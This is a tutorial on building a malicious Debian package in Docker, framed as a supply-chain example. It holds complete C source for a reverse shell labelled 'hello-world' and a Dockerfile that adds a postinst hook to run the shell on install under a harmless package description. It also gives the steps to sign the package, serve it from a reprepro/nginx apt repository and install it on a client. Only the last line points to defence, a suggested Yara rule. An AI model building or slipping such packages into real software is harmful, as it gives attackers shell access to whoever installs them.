Docker and Malicious Debian Packaging Tutorial

  • Generate Debian Package Using Docker:
    • Create a C application that prints “Hello World” reverse shell.
    • Write a Dockerfile that builds this application and packages it into a .deb file using dpkg-deb.
  • Serve the Debian Package with a Docker Image:
    • Create a second Dockerfile to set up an nginx server.
    • Configure nginx to serve the .deb file created in the previous step.
    • Build nginx reprepo docker image and run it, serving the package available over HTTP.
  • Connect and Install the Package Using Docker:
    • Write a Dockerfile for a new client container that will install the package.
    • Use the --link Docker command to connect this client container to the nginx server container.
    • Execute commands within the client container to add the repository and install the Debian package using apt-get.

Rev Shell (hello.c)

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "xxx.xxx.xxx.xxx"
#define REMOTE_PORT 22

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Dockerfile

# Use the Debian image as the base
FROM debian:latest

# Install build and packaging tools
RUN apt-get update && apt-get install -y \
    build-essential \
    dpkg-dev \
    fakeroot

# Set the working directory in the container
WORKDIR /build

# Copy the C source file into the container
COPY hello.c /build

# Compile the program
RUN gcc -o hello hello.c

# Prepare the Debian package structure
RUN mkdir -p /build/package1/DEBIAN /build/package1/usr/local/bin
RUN echo "Package: hello-world\nVersion: 1.0\nSection: base\nPriority: optional\nArchitecture: all\nMaintainer: Mike Jones <who.am@i.com>\nDescription: A simple network application" > /build/package1/DEBIAN/control

# Create postinst script
RUN echo '#!/bin/sh\n/usr/local/bin/hello' > /build/package1/DEBIAN/postinst
RUN chmod 755 /build/package1/DEBIAN/postinst

# Move the binary to the package directory
RUN mv hello /build/package1/usr/local/bin/

# Build the Debian package
CMD dpkg-deb --build /build/package1 /tmp

Build Deb Package and Install with DPKG

$ docker build -t hello-world-builder:0.1 .

# Build package on host mount volume /tmp
$ docker run --rm -v /tmp:/tmp hello-world-builder:0.1

# Test dpkg by installing package locally for testing
$ docker run --rm -v /tmp:/tmp hello-world-builder:0.1 /bin/sh -c 'dpkg -i /tmp/hello-world_1.0_all.deb'

Serving Deb Package with Apt Repository

To wrap up our supply chain example, we are going to create a debian package repo with reprepro and host the package with nginx. GPG will be used to self sign the package.

Example will be run on Docker:

  • Create gpg key and export for signing
    • gpg --gen-key (folow prompts)
    • gpg –list-secret-keys
  • Export Public key
    • gpg –export -a “08F997633EDB55830EC87CC7073F5EE1ECBFDEDF” > public.key
  • Export Private Key
    • gpg –export-secret-key -a ECBFDEDF > private.key
  • Create the distributions file for reprepro
$ cat > distributions <<EOF
Origin: MyName
Label: MyRepo
Codename: stable
Architectures: i386 amd64 source
Components: main
Description: My personal repository
SignWith: ECBFDEDF (Your GPG key)
EOF

Dockerfile Build

# Use a Debian base image
FROM debian:buster

# Install nginx and reprepro
RUN apt-get update && \
    apt-get install -y nginx reprepro && \
    rm -rf /var/lib/apt/lists/* && \
    apt-get clean

# Set up directories for reprepro
RUN mkdir -p /var/www/html/debian/conf /var/www/html/debian/db /var/www/html/debian/dists /var/www/html/debian/pool

# Configuration for reprepro
COPY distributions /var/www/html/debian/conf

# Copy Public Key
COPY public.key /var/www/html/public.key

# Copy your .deb package into the pool directory
COPY hello-world_1.0_all.deb /var/www/html/debian/pool

# Copy gpg keys
COPY private.key /tmp/private.key
RUN gpg --import /tmp/private.key

# Configure nginx to serve the repository
RUN echo "server { listen 80; server_name localhost; location / { root /var/www/html; autoindex on; } }" > /etc/nginx/sites-available/default

# Initialize the repository
RUN reprepro -b /var/www/html/debian includedeb stable /var/www/html/debian/pool/hello-world_1.0_all.deb

# Start nginx in the foreground
CMD ["nginx", "-g", "daemon off;"]

Build Repo Image

$ docker build -t apt-repo:0.1 -f Dockerfile-apt .

Connect Client and Install Package

# Start Package Server
$ docker run --name apt-repo -d -p 80:80 apt-repo:0.1
# Install package
$ docker run --link apt-repo:apt-repo --rm hello-world-builder:0.1 /bin/sh -c 'apt-get -y install curl && curl -O http://apt-repo:80/public.key && apt-key add public.key && echo "deb [trusted=yes] http://apt-repo/debian/ stable main" | tee -a /etc/apt/sources.list && apt-get update \
&& apt-get install hello-world'

Labs and Next Steps

  • Create a Yara rule to scan for outbound string and detect that Indicator of Compromise (IOC)